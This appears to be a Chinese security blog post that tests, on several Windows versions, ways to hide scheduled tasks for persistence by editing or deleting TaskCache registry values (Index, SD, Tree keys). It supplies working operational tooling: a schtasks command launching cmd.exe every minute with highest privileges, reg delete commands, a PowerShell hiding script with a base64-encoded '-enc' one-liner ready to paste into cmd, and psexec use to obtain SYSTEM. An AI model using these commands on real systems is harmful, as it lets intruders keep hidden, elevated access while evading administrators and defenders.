权限维持之隐藏计划任务多版本实战演示

网上目前流行两种方案,一种是 非完全隐藏 与 完全隐藏亲自测试了一下发现不同系统版本效果截然不同!

1. Windows 10 教育版

非完全隐藏方案

  • 操作流程
    1. 创建计划任务。
    2. 修改注册表Index值为0。
  • 实现效果
    1. 计划任务管理器不显示任务。
    2. schtasks /query /tn \ 不列出。
  • 实验结果无效

完全隐藏方案

  • 操作流程
    1. 创建计划任务。
    2. 删除注册表SD值。
  • 实现效果
    1. 计划任务管理器不显示任务。
    2. schtasks /query /tn \ 不列出。
  • 实验结果有效

2. Windows Server 2012 R2 Datacenter

非完全隐藏方案

  • 操作流程
    1. 创建计划任务。
    2. 修改注册表Index值为0。
  • 实现效果
    1. 计划任务管理器不显示任务。
    2. schtasks /query /tn \ 不列出。
  • 实验结果
    1. 无效
    2. 当删除掉XML文件后计划任务都会删除,不再会起到作用。

完全隐藏方案

  • 操作流程
    1. 创建计划任务。
    2. 删除注册表SD值。(默认没有该值)
  • 实现效果
    1. 计划任务管理器不显示任务。
    2. schtasks /query /tn \ 不列出。
  • 实验结果无效

自测有效方案 (1)

  • 操作流程
    1. 创建计划任务。
    2. 删除注册表项目
      (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\) (特别提示:如果你创建的计划任务路径是 \Microsoft\Windows\VMwareTools 那么需要删除的路径就为:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\VMwareTools
      reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\VMwareTools" /f
  • 实现效果
    1. 计划任务管理器不显示任务。
    2. schtasks /query /tn \ 不列出。
  • 实验结果有效
  • 是否缺陷:当重启后则失效,所以该方案为半成品方案。

3. Windows Server 2008 R2 Standard

非完全隐藏方案

  • 操作流程
    1. 创建计划任务。
    2. 删除 XML 文件。
    3. 修改注册表Index值为0。
  • 实现效果
    1. 计划任务管理器不显示任务。
    2. schtasks /query /tn \ 不列出。
  • 实验结果无效

完全隐藏方案

  • 操作流程
    1. 创建计划任务。
    2. 删除 XML 文件。
    3. 删除注册表SD值。(默认没有该值)
  • 实现效果
    1. 计划任务管理器不显示任务。
    2. schtasks /query /tn \ 不列出。
  • 实验结果无效

4. Windows Server 2016 Datacenter

非完全隐藏方案

  • 操作流程
    1. 创建计划任务。
    2. 修改注册表Index值为0。
  • 实现效果
    1. 计划任务管理器不显示任务。
    2. schtasks /query /tn \ 不列出。
  • 实验结果有效

完全隐藏方案

  • 操作流程
    1. 创建计划任务。
    2. 删除注册表SD值。(默认没有该值)
  • 实现效果
    1. 计划任务管理器不显示任务。
    2. schtasks /query /tn \ 不列出。
  • 实验结果有效

5. Windows Server 2019 Datacenter

非完全隐藏方案

  • 操作流程
    1. 创建计划任务。
    2. 修改注册表Index值为0。
  • 实现效果
    1. 计划任务管理器不显示任务。
    2. schtasks /query /tn \ 不列出。
  • 实验结果有效

完全隐藏方案

  • 操作流程
    1. 创建计划任务。
    2. 删除注册表SD值。(默认没有该值)
  • 实现效果
    1. 计划任务管理器不显示任务。
    2. schtasks /query /tn \ 不列出。
  • 实验结果有效

通用方案:

请将其中的绿色部分换成你的自定义计划任务位置。

reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\VMwareTools" /f

脚本工具

  1. 创建你的计划任务
    下面命令大概意思就是从每天的0点以后每隔1分钟Administrator权限启动一次 C:\Windows\SYSTEM32\cmd.exe`
    schtasks /CREATE /ru Administrator /RL HIGHEST /SC MINUTE /MO 1 /ST 00:00:00 /TN "\Microsoft\Windows\123456" /tr "C:\Windows\SYSTEM32\cmd.exe" /F

    d2b5ca33bd20241224181034

    我们将会得到路径:`\Microsoft\Windows\123456`

  2. 运行下面代码输入上面得到的路径

    源代码

    $string={
        function Hide-ScheduledTaskInRegistry {
            param (
                [string]$TaskName
            )
            Write-Host "[+] Hiding scheduled task in registry...[Index = 0]"
            #Write-Output "设置Index为0"
            reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree$TaskName" /f
            Write-Host "[+] Hiding scheduled task in registry...[DELETE SD]"
            #Write-Output "删除SD值"
            reg DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree$TaskName" /v SD /f
        }
        $TaskName = Read-Host("Input TaskName Path:(\Microsoft\Windows\VMwareTools)")
        Hide-ScheduledTaskInRegistry -TaskName $TaskName
    }
    $byteArray = [System.Text.UnicodeEncoding]::Unicode.GetBytes($string)
    $DeCode = [Convert]::ToBase64String( $byteArray )
    Write-OutPut "Powershell  -enc $Decode" > C:\base64.txt
    notepad.exe C:\base64.txt
    Start-Sleep -Milliseconds 1000
    Remove-Item C:\base64.txt -Force

    命令行代码(直接拿到cmd运行的)

    Powershell  -enc DQAKACAAIAAgACAAZgB1AG4AYwB0AGkAbwBuACAASABpAGQAZQAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsASQBuAFIAZQBnAGkAcwB0AHIAeQAgAHsADQAKACAAIAAgACAAIAAgACAAIABwAGEAcgBhAG0AIAAoAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AJABUAGEAcwBrAE4AYQBtAGUADQAKACAAIAAgACAAIAAgACAAIAApAA0ACgAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAWwArAF0AIABIAGkAZABpAG4AZwAgAHMAYwBoAGUAZAB1AGwAZQBkACAAdABhAHMAawAgAGkAbgAgAHIAZQBnAGkAcwB0AHIAeQAuAC4ALgBbAEkAbgBkAGUAeAAgAD0AIAAwAF0AIgANAAoAIAAgACAAIAAgACAAIAAgACMAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAL6Lbn9JAG4AZABlAHgAOk4wACIADQAKACAAIAAgACAAIAAgACAAIAByAGUAZwAgAGQAZQBsAGUAdABlACAAIgBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUwBjAGgAZQBkAHUAbABlAFwAVABhAHMAawBDAGEAYwBoAGUAXABUAHIAZQBlACQAVABhAHMAawBOAGEAbQBlACIAIAAvAGYADQAKACAAIAAgACAAIAAgACAAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBbACsAXQAgAEgAaQBkAGkAbgBnACAAcwBjAGgAZQBkAHUAbABlAGQAIAB0AGEAcwBrACAAaQBuACAAcgBlAGcAaQBzAHQAcgB5AC4ALgAuAFsARABFAEwARQBUAEUAIABTAEQAXQAiAA0ACgAgACAAIAAgACAAIAAgACAAIwBXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACIAIFJkllMARAA8UCIADQAKACAAIAAgACAAIAAgACAAIAByAGUAZwAgAEQARQBMAEUAVABFACAAIgBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUwBjAGgAZQBkAHUAbABlAFwAVABhAHMAawBDAGEAYwBoAGUAXABUAHIAZQBlACQAVABhAHMAawBOAGEAbQBlACIAIAAvAHYAIABTAEQAIAAvAGYADQAKACAAIAAgACAAfQANAAoAIAAgACAAIAAkAFQAYQBzAGsATgBhAG0AZQAgAD0AIABSAGUAYQBkAC0ASABvAHMAdAAoACIASQBuAHAAdQB0ACAAVABhAHMAawBOAGEAbQBlACAAUABhAHQAaAAa/ygAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABWAE0AdwBhAHIAZQBUAG8AbwBsAHMAKQAiACkADQAKACAAIAAgACAASABpAGQAZQAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsASQBuAFIAZQBnAGkAcwB0AHIAeQAgAC0AVABhAHMAawBOAGEAbQBlACAAJABUAGEAcwBrAE4AYQBtAGUADQAKAA==

    d2b5ca33bd20241224181455

    记得拿SYSTEM权限执行,否则将会如下:

    d2b5ca33bd20241224181530

    我们使用 Psexec 得到一个 SYSTEM 的 CMD窗口,命令:psexec -s -i cmd

    d2b5ca33bd20241224181716

    得到结果如下:

    d2b5ca33bd20241224181846

    自动去设置Index 和 删除SD ,如果没有SD则会删除失败,Windows 10,Server 2016,Server 2019 存在SD的值。 

© 版权声明
THE END
喜欢就支持一下吧
点赞17 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容